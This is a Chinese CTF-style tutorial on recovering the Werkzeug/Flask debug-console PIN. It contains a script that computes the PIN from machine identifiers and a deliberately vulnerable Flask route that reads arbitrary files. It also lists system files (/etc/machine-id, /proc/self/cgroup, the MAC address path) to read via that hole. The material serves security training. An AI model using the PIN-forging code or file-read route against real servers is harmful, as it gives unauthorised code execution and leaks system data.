from flask import Flaskapp = Flask(__name__)@app.route("/")def hello():return '合天网安实验室-实践型网络安全在线学习平台;真实环境,在线实操学网络安全。'if __name__ == "__main__":app.run(host="0.0.0.0", port=8080, debug=True)
运行,控制台状态如下

浏览器如下则成功


点击步入

转到了flask/app.py,直接Ctrl+F搜索werkzeug


此时进入了__init__.py,经过一番审计,先来看一看pin函数

主要是get_pin_and_cookie_name函数,进去看看
def get_pin_and_cookie_name(app: "WSGIApplication",) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:"""Given an application object this returns a semi-stable 9 digit pincode and a random key. The hope is that this is stable betweenrestarts to not make debugging particularly frustrating. If the pinwas forcefully disabled this returns `None`.Second item in the resulting tuple is the cookie name for remembering."""pin = os.environ.get("WERKZEUG_DEBUG_PIN")rv = Nonenum = None# Pin was explicitly disabledif pin == "off":return None, None# Pin was provided explicitlyif pin is not None and pin.replace("-", "").isdigit():# If there are separators in the pin, return it directlyif "-" in pin:rv = pinelse:num = pinmodname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)username: t.Optional[str]try:# getuser imports the pwd module, which does not exist in Google# App Engine. It may also raise a KeyError if the UID does not# have a username, such as in Docker.username = getpass.getuser()except (ImportError, KeyError):username = Nonemod = sys.modules.get(modname)# This information only exists to make the cookie unique on the# computer, not as a security feature.probably_public_bits = [username,modname,getattr(app, "__name__", type(app).__name__),getattr(mod, "__file__", None),]# This information is here to make it harder for an attacker to# guess the cookie name. They are unlikely to be contained anywhere# within the unauthenticated debug page.private_bits = [str(uuid.getnode()), get_machine_id()]h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode("utf-8")h.update(bit)h.update(b"cookiesalt")cookie_name = f"__wzd{h.hexdigest()[:20]}"# If we need to generate a pin we salt it a bit more so that we don't# end up with the same value and generate out 9 digitsif num is None:h.update(b"pinsalt")num = f"{int(h.hexdigest(), 16):09d}"[:9]# Format the pincode in groups of digits for easier remembering if# we don't have a result yet.if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = "-".join(num[x : x + group_size].rjust(group_size, "0")for x in range(0, len(num), group_size))breakelse:rv = numreturn rv, cookie_name
返回的rv就是PIN码,但这个函数核心是将列表里的值hash,我们不需要去读懂这段代码,只需要将列表里的值填上直接运行代码就行。
import hashlibfrom itertools import chainprobably_public_bits = ['root', # username'flask.app', # modname'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),]# This information is here to make it harder for an attacker to# guess the cookie name. They are unlikely to be contained anywhere# within the unauthenticated debug page.private_bits = ['2485377957890', # str(uuid.getnode()), /sys/class/net/ens33/address# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup'861c92e8075982bcac4a021de9795f6e3291673c8c872ca3936bcaa8a071948b']h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode("utf-8")h.update(bit)h.update(b"cookiesalt")cookie_name = f"__wzd{h.hexdigest()[:20]}"# If we need to generate a pin we salt it a bit more so that we don't# end up with the same value and generate out 9 digitsnum = Noneif num is None:h.update(b"pinsalt")num = f"{int(h.hexdigest(), 16):09d}"[:9]# Format the pincode in groups of digits for easier remembering if# we don't have a result yet.rv = Noneif rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = "-".join(num[x: x + group_size].rjust(group_size, "0")for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)
import hashlibfrom itertools import chainprobably_public_bits = ['root', # username'flask.app', # modname'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),]# This information is here to make it harder for an attacker to# guess the cookie name. They are unlikely to be contained anywhere# within the unauthenticated debug page.private_bits = ['2485377957890', # str(uuid.getnode()), /sys/class/net/ens33/address# Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup'861c92e8075982bcac4a021de9795f6e3291673c8c872ca3936bcaa8a071948b']h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode("utf-8")h.update(bit)h.update(b"cookiesalt")cookie_name = f"__wzd{h.hexdigest()[:20]}"# If we need to generate a pin we salt it a bit more so that we don't# end up with the same value and generate out 9 digitsnum = Noneif num is None:h.update(b"pinsalt")num = f"{int(h.hexdigest(), 16):09d}"[:9]# Format the pincode in groups of digits for easier remembering if# we don't have a result yet.rv = Noneif rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = "-".join(num[x: x + group_size].rjust(group_size, "0")for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)
from flask import Flask, requestapp = Flask(__name__)@app.route("/")def hello(): return '合天网安实验室-实践型网络安全在线学习平台;真实环境,在线实操学网络安全。'@app.route("/file")def file(): filename = request.args.get('filename') try: with open(filename, 'r') as f: return f.read() except: return 0if __name__ == "__main__": app.run(host="0.0.0.0", port=9000, debug=True)


拼接起来,代入程序,直接运行

与环境里的一致

如果大家嫌开环境麻烦这里推荐两个线上靶场,这俩都是计算PIN
•[GYCTF2020]FlaskApp——BUUCTF
•web801——CTFshow
笔者技术有限,本文有错误之处,请联系笔者,会立即改正!
本文作者:蚁景网安实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/184605.html
必填 您当前尚未登录。 登录? 注册
必填(保密)